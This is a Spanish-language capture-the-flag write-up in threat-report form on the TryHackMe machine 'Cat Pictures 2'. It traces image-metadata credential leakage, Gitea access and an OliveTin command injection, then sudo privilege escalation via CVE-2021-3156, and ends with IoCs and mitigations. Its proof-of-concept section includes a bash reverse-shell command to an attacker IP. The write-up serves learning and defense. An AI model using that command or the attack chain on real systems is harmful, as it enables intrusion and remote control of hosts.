Informe de Inteligencia de Amenazas

Máquina *“Cat Pictures 2”*

Plataforma: *“TryHackMe (THM)”*

TLP:CLEAR | Ref: CTI-2026-0912-THM

Fecha de publicación: 12 de Septiembre de 2026

Autor: Pedro Parmentier

Aspectos a destacar en el Informe:

1. Resumen ejecutivo:
    1.1. Propósito
    1.2. Impacto Principal.
    1.3. Vector de Entrada.
    1.4. Escalada de Privilegios.
    1.5. Resumen.
2. Metadatos y evaluación de confianza
    2.1. Nivel de Confianza (Confidence Level).
    2.2. Mapeo de Clasificación.
    2.3. Estatus de la amenaza.
3. Perfil del Actor de amenaza / Entorno Objetivo
    3.1. Nombre de la amenaza / Host:
    3.2. Dirección IP / Alcance.
    3.3. Sistema operativo.
    3.4. Objetivo Comercial/Función.
4. Fase de Reconocimiento y Recolección (Reconnaissance & Enumeration).
    4.1. Escaneo de Red y Servicios Expuestos.
    4.2. Hallazgos de Enumeración Web.
5. Cadena de Ataque (Kill Chain & Technical Analysis).
    5.1. Acceso Inicial (Initial Access).
        5.1.1. Táctica MITRE ATT&CK.
        5.1.2. Vulnerabilidad Explotada.
        5.1.3. Descripción del Exploit.
        5.1.4. Prueba de Concepto (*PoC*).
    5.2. Puntación y Métrica CVSS v3.1.
        5.2.1. Puntuación Base.
        5.2.2. Vector CVSS.
    5.3. Escalada de Privilegios.
        5.3.1. Táctica MITRE ATT&CK.

        5.3.2. Vector de Escalada.
        5.3.3. Comando de Detección.
        5.3.4. Explotación.
6. Indicadores de Compromiso (IoCs).
    6.1. Indicadores de Red (Networks IoCs).
        6.1.1. IPs Maliciosas Relacionadas.
        6.1.2. URLs Afectadas.
        6.1.3. Modificación en Componentes de Automatización.
    6.2. Indicadores en Host (Host-Based IoCs)
        6.2.1. Rutas de Archivos Creados/Modificados.
7. Mapeo de Tácticas y Técnicas (MITRE ATT&CK)
8. Recomendaciones y Mitigaciones (Actionable Intelligence)
    8.1. Mitigaciones Inmediatas (Tácticas).
    8.2. Mitigaciones a Largo Plazo (Estratégicas).

1. RESUMEN EJECUTIVO (Executive Summary)

- **Propósito**: Brindar a la dirección o responsables de decisión una vista global del estado de seguridad de la infraestructura evaluada, detallando los riesgos expuestos y el impacto de una intrusión sin recurrir a tecnicismos excesivos.
- **Impacto Principal**: Exposición total de la infraestructura (nivel de riesgo **CRÍTICO**), alcanzados mediante la combinación de malas configuraciones en servicios web expuestos y vulnerabilidades conocidas no parcheadas a nivel de sistema operativo.
- **Vector de Entrada**: Inclusión de credenciales y rutas de servicios internos expuestos mediante metadatos ocultos en servicios web públicos (archivos de imágen *JPEG*) alojados, a su vez, en el servicio web de gestión de fotos **Lychee** (software de terceros) por el puerto 80/TCP. Esto permitió accederal gestor de código **Gitea** (software de terceros) en el puerto 3000/TCP y posteriormente manipular gestores de automatización en **OliveTin** (softare de terceros) en el puerto 1337/TCP para la ejecución remota de comandos.
- **Escalada de Privilegios**: Explotación de una vulnerabilidad conocida (**CVE-2021-3156**) en el binario `sudo` versión 1.8.21 el cual contiene un error *«off-by-one»* que puede provocar un desbordamiento de búfer en el *«heap»* (montón), la cual permite a los usuarios sin privilegios ejecutar código arbitrario con permisos de superusuario (`root`).
- **Resumen**: Durante la auditoría al al host `Cat Pictures 2`, la revisión de los metadatos de los archivos gráficos en la plataforma **Lychee** (puerto 80/TCP) se descubrieron referencias a un directorio interno en el puerto 8080/TCP. Dicha ruta contenía credenciales de acceso para el servicio de control de versiones **Gitea** (puerto 3000/TCP).

  Mediante el análisis del repositorio interno en **Gitea** y la interacción con la interfaz de automatización **OliveTin** (puerto 1337/TCP), se manipuló la infraestructura como código (**IaC**) para obtener acceso inicial al sistema mediante una sesión interactiva con los privilegios del usuario `bismuth`. Finalmente, se aprovechó la versión desactualizada del binario `sudo` y la ejecución de un exploit (desarrollado por terceros) asociado a la vulnerabilidad documentada (**CVE-2021-3156**), se escalaron privilegios hasta alcanzar el nivel de acceso total (`root`).

2. METADATOS Y EVALUACIÓN DE CONFIANZA

- **Nivel de Confianza (Confidence Level)**: Alto (Basado en pruebas directas en entorno controlado / THM).
- **Mapeo de Clasificación (Admiralty System)**: A1 (Fuente totalmente confiable / Información confirmada).
- **Estatus de la Amenaza**: Inactiva / Contenida en laboratorio.

3. PERFIL DEL ACTOR DE AMENAZA / ENTORNO OBJETIVO

- **Nombre de la Amenaza / Host**: TryHackMe - Cat Pictures 2
- **Dirección IP / Alcance**: 10.112.138.93
- **Sistema Operativo**: Ubuntu 18.04.6 LTS (Bionic Beaver)
- **Objetivo Comercial/Función**: Servidor web de producción simulado.

4. FASE DE RECONOCIMIENTO Y RECOLECCIÓN (Reconnaissance & Enumeration)

4.1. Escaneo de Red y Servicios Expuestos

Puerto	Servicio	Versión	Estado
22/TCP	SSH	OpenSSH 7.6p1	Abierto
80/TCP	HTTP	NGINX 1.4.6	Abierto
222/TCP	SSH	OpenSSH 9.0	Abierto
1337/TCP	HTTP	Golang net/http server	Abierto
3000/TCP	HTTP	Golang net/http server	Abierto
8080/TCP	HTTP	SimpleHTTPServer 0.6 (Python 3.6.9)	Abierto

4.2. Hallazgos de Enumeración Web

- **Estructura de Directorios Descubierta**:
  - Puerto 80/TCP **Lychee**:

    A pesar que el software **Lychee** es gestionado mediante scripts que interactúan con los atributos `href` del documento HTML índice (index) se logró acceder a las siguientes rutas:

    - `http://catpictures.thm/#16678460194615/16678466730867` → (HTTP 200) - Mensaje que indica "*revisar de la metadata*" de la foto en cuestión.
    - `http://catpictures.thm/uploads/big/f5054e97620f168c7b5088c85ab1d6e4.jpg` → (HTTP 200) - Ruta absoluta para la descarga de la foto.
  - Puerto 8080/TCP:
    - `http://catpictures.thm:8080/764efa883dda1e11db47671c4a3bbd9e.txt` → (HTTP 200) - Exposición de credenciales para el puerto 3000/TCP y referencia al puerto 1337/TCP.
  - Puerto 3000/TCP **Gitea**:
    - `http://catpictures.thm:3000` → (STATUS 200) - Servicio de control de versiones.
    - `http://catpictures.thm:3000/samarium/ansible/src/branch/main/playbook.yaml` → (STATUS 200) - Archivo `YAML` que manipula el gestor de automatización **OliveTin**

- Puerto 1337/TCP **OliveTin**:
  - `http://catpictures.thm:1337` → (STATUS 200) - Gestor de automatización mediante interfaz interactiva (**IaC**).
- **Detalles Técnicos**:

  La inspección manual (escaneo pasivo) y las referencias encontradas en las diversas plataformas y servicios (**Lychee** y **nginx**) permitieron la autenticación en el servicio **Gitea** para la manipulación del archivo `YAML` con el cuál se gestiona el software de infraestructura como código (IaC) **OliveTin**.

5. CADENA DE ATAQUE (Kill Chain & Technical Analysis)

5.1. Acceso Inicial (Initial Access)

- **Táctica MITRE ATT&CK**: Initial Access / Exploitation of Public-Facing Application (T1190)
- **Vulnerabilidad Explotada**: CWE-540: Inclusion of Sensitive Information in Source Code / Exposición de Credenciales en Texto plano.
- **Descripción del Exploit**:

  Se aprovechó una mala configuración en la gestión de archivos y metadatos dentro del servicio web **Lychee**. Al inspeccionar la metadata de una imágen accesible públicamente, se encontró una ruta web que expone un archivo de texto plano. El documento en cuestión contenía credenciales de autenticación válidas para el servicio de control de versiones **Gitea**, lo que permitió posteriormente manipular la automatización en **OliveTin** para la ejecución remota de comandos.

- **Prueba de Concepto (*PoC*)**:
  - Puerto 80/TCP **Lychee**

    Descarga de la imágen que contiene metadatos con información

    ```
    wget http://catpictures.thm/uploads/big/f5054e97620f168c7b5088c85ab1d6e4.jpg
    ```

    Exponiendo los metadatos con información:

    ```
    exiftool f5054e97620f168c7b5088c85ab1d6e4.jpg
    ```

    Metadata de la imágen

    ```
    # - Información extra - ...

    Title                           : :8080/764efa883dda1e11db47671c4a3bbd9e.txt

    # - Información extra - ...
    ```

- Puerto 8080/TCP **nginx**:

  ```
  curl -s http://catpictures.thm:8080/764efa883dda1e11db47671c4a3bbd9e.txt
  ```

- Puerto 1337/TCP **Gitea**, el cambio de este archivo afectará en el servicio web **OliveTin** por el puerto 1337/TCP:

  ```
  # - Información extra - ...

  command: /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.130.57&3333 0>&1'

  # - Información extra - ...
  ```

5.2. Puntuación y Métrica CVSS v3.1

- **Puntuación Base**: 9.6 (Crítico)
- **Vector CVSS**:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

5.3. Escalada de Privilegios (Privilege Escalation)

- **Táctica MITRE ATT&CK**:
  - Privilege Escalation / Exploitation of Privilege Escalation (T1068)
  - Execution / Command and Scripting Interpreter: Unix Shell (T1059.004)
- **Vector de Escalada**: Versión desactualizada del binario `sudo` (*v1.8.21*), con vulnerabilidades conocidas (**CVE-2021-3156**, mejor conocido como **Baron Samedit**), y la ejecución de un *«exploit»* desarrollado por terceros.

  “La vulnerabilidad propone un desbordamiento del búfer (*buffer overflow*) causado por un error de desbordamiento unitario (*«off-by-one»*) en la lógica de análisis de argumentos en la línea de comandos (*command line*)”.
- **Comando de Detección**:

```
sudo --version
```

  - Script desarrollado para ubicar los binarios y sus versiones (enlace):

    Click aquí - Automatización de búsqueda para versiones de binarios

  - Exploit encontrado para la escalada de privilegios con desbordamiento de búfer, desarrollado por terceros, se agradece su esfuerzo:

    Click Aquí - Exploit de Python (**CVE-2021-3156**, **Baron Samedit**)
- **Explotación**: Se descargó un *exploit* público desarrollado en Python3 para la vulnerabilidad **CVE-2021-3156** (**Baron Samedit**). Este script aprovecha la forma en que `sudo` maneja las opciones de la lista de comandos para corromper la memoria del montón (*heap*), lo que termina en escalada de privilegios.

6. INDICADORES DE COMPROMISO (IoCs)

6.1. Indicadores de Red (Network IoCs)

- **IPs Maliciosas Relacionadas**: 192.168.130.57 (Attacker IP)
- **URLs Afectadas**:
  - `http://catpictures.thm:3000/samarium/ansible/src/branch/main/playbook.yaml`
  - `http://catpictures.thm:1337`
- **Modificación en Componentes de Automatización**: Manipulación del archivo de configuración `YAML` de Infraestructura como Código (IaC) en **Gitea**, empleado para inyectar comandos del sistema a través de la interfaz web de **OliveTin**.

6.2. Indicadores en Host (Host-Based IoCs)

- **Rutas de Archivos Creados/Modificados**:
  - `/root/.ssh/id_new` → Llave privada SSH generada con usuario `root` para mantener persistencia.
  - `/root/.ssh/id_new.pub` → Llave pública correspondiente para autenticación.

7. MAPEO DE TÁCTICAS Y TÉCNICAS (MITRE ATT&CK)

Táctica	ID Técnica	Técnica
Initial Access	T1190	Exploitation of Public-Facing Application
Privilege Escalation	T1068	Exploitation of Privilege Escalation
Execution	T1059.004	Command and Scripting Interpreter: Unix Shell

8. RECOMENDACIONES Y MITIGACIONES (Actionable Intelligence)

8.1. Mitigaciones Inmediatas (Tácticas)

1. **Parchado de Software**: Actualizar el binario `sudo` a una versión superior a `1.9.5p2` para mitigar definitivamente la vulnerabilidad de desbordamiento de búfer en el montón («*buffer overflow heap-based*») (**CVE-2021-3156**).
2. **Remoción de Archivos con Credenciales**: Retirar y asegurar el archivo de texto plano expuesto en el servidor web (puerto 8080/TCP) y evitar incrustar información sensible o rutas de servicios internos (incluyendo referencias o “guiños”) en los metadatos de archivos multimedia públicos en **Lychee**
3. **Restricción de Comandos**: Asignar una lista negra (*blacklist*) para comandos de la terminal que se podrían ejecutar desde la interfaz de automatización de **OliveTin** (puerto 1337/TCP) para evitar la ejecución arbitraria de comandos.

8.2. Mitigaciones a Largo Plazo (Estratégicas)

1. **Gestión de Secretos y Contraseñas**: Implementar un gestor de contraseñas o de secretos (*Secrets Management*) para evitar el uso de credenciales dentro de repositorios.
2. **Automatización de Actualizaciones**: Ejecutar actualizaciones del sistema y sus binarios periódicamente, de ser posible, automatizar estas tareas mediante `cron` o servicios del sistema `systemd`